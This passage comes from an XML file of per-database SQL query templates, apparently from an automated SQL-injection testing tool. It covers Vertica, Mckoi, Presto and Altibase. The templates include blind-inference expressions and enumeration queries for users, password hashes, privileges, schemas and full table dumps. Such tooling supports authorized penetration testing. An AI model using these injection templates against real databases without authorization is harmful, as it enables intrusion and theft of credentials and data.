<blind query="SELECT COLUMNNAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" query2="SELECT COLUMNDATATYPE FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND COLUMNNAME='%s' AND SCHEMANAME='%s'" count="SELECT COUNT(COLUMNNAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s {LIMIT 1 OFFSET %d}" count="SELECT COUNT(*) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
||||||
|
<blind query="SELECT USERNAME FROM SYS.SYSUSERS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
|
||||||
|
</users>
|
||||||
|
<!-- NOTE: No one can view the 'SYSUSERS'.'PASSWORD' column -->
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSSCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="TABLENAME" condition2="SCHEMANAME"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="TABLENAME" condition2="SCHEMANAME"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Vertica">
|
||||||
|
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="OFFSET %d LIMIT %d"/>
|
||||||
|
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" OFFSET "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<!-- NOTE: requires >=9.1.1 because of 'cannot cast type varchar to varbinary' -->
|
||||||
|
<hex query="TO_HEX((%s)::varbinary)"/>
|
||||||
|
<inference query="ASCII(SUBSTRING((%s)::varchar FROM %d FOR 1))>%d"/>
|
||||||
|
<banner query="VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db query="CURRENT_SCHEMA()"/>
|
||||||
|
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
||||||
|
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
||||||
|
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
||||||
|
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
|
||||||
|
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||||
|
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT user_name FROM v_catalog.users"/>
|
||||||
|
<blind query="SELECT user_name FROM v_catalog.users OFFSET %d LIMIT 1" count="SELECT COUNT(user_name) FROM v_catalog.users"/>
|
||||||
|
</users>
|
||||||
|
<passwords>
|
||||||
|
<inband query="SELECT user_name,password FROM v_catalog.passwords" condition="user_name"/>
|
||||||
|
<blind query="SELECT password FROM v_catalog.passwords WHERE user_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(password) FROM v_catalog.passwords WHERE user_name='%s'"/>
|
||||||
|
</passwords>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT grantee,privileges_description FROM v_catalog.grants WHERE object_type!='PROCEDURE'" condition="grantee"/>
|
||||||
|
<!-- NOTE: Vertica does not cache DISTINCT queries (must use ORDER BY to have consistent results) -->
|
||||||
|
<blind query="SELECT DISTINCT(privileges_description) FROM v_catalog.grants WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privileges_description)) FROM grants WHERE grantee='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles/>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT current_statement FROM v_monitor.sessions"/>
|
||||||
|
<blind query="SELECT DISTINCT(current_statement) FROM v_monitor.sessions ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(current_statement)) FROM v_monitor.sessions"/>
|
||||||
|
</statements>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM v_catalog.schemata"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables" condition="schema_name"/>
|
||||||
|
<blind query="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,data_type FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM v_catalog.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata WHERE %s ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables WHERE %s" condition="table_name" condition2="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.all_tables WHERE %s ORDER BY 1" query2="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s'" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.all_tables WHERE %s" count2="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'" condition="table_name" condition2="schema_name"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM v_catalog.columns WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM v_catalog.columns WHERE %s ORDER BY 1" query2="SELECT DISTINCT(table_name) FROM v_catalog.columns WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM v_catalog.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM v_catalog.columns WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Mckoi">
|
||||||
|
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
||||||
|
<cast query="CONCAT('',%s)"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="IF(%s IS NULL,' ', %s)"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit/>
|
||||||
|
<limitregexp/>
|
||||||
|
<limitgroupstart/>
|
||||||
|
<limitgroupstop/>
|
||||||
|
<limitstring/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query=";"/>
|
||||||
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (IF(%s,1,0))"/>
|
||||||
|
<!-- NOTE: other way around does not work -->
|
||||||
|
<inference query="'%c'<SUBSTRING((%s),%d,1)"/>
|
||||||
|
<banner/>
|
||||||
|
<current_user/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba/>
|
||||||
|
<dbs/>
|
||||||
|
<tables/>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT MIN(%s) FROM %s WHERE CONCAT('',%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONCAT('',%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<users/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<search_db/>
|
||||||
|
<search_table/>
|
||||||
|
<search_column/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Presto">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="OFFSET %d LIMIT %d"/>
|
||||||
|
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" OFFSET "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<substring query="SUBSTR(%s,%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<hex query="TO_HEX(%s)"/>
|
||||||
|
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
||||||
|
<banner/>
|
||||||
|
<current_user query="CURRENT_USER"/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||||
|
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||||
|
<is_dba/>
|
||||||
|
<check_udf/>
|
||||||
|
<users/>
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||||
|
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Altibase">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="NVL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d,%d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*"/>
|
||||||
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<hex query="HEX_ENCODE(%s)"/>
|
||||||
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
|
<banner query="SELECT PRODUCT_SIGNATURE FROM V$DATABASE"/>
|
||||||
|
<current_user query="USER_NAME()"/>
|
||||||
|
<current_db query="USER_NAME()"/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s'"/>
|
||||||
|
<column_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||||
|
<is_dba query="(SELECT COUNT(*) FROM SYSTEM_.DBA_USERS_ WHERE USER_NAME=USER_NAME())=1"/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
|
||||||
|
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
|
||||||
|
</users>
|
||||||
|
<passwords>
|
||||||
|
<inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
|
||||||
|
<blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
|
||||||
|
</passwords>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||||
|
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles>
|
||||||
|
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
||||||
|
<blind query="SELECT USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(*) FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s'"/>
|
||||||
|
</roles>
|
||||||
|
<statements/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
|
||||||
|
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID" condition="USER_NAME"/>
|
||||||
|
<blind query="SELECT TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
|
||||||
|
<blind query="SELECT COLUMN_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" query2="SELECT DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND USER_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||||
|
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_USERS_ WHERE %s" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="TABLE_NAME" condition2="USER_NAME"/>
|
||||||
|
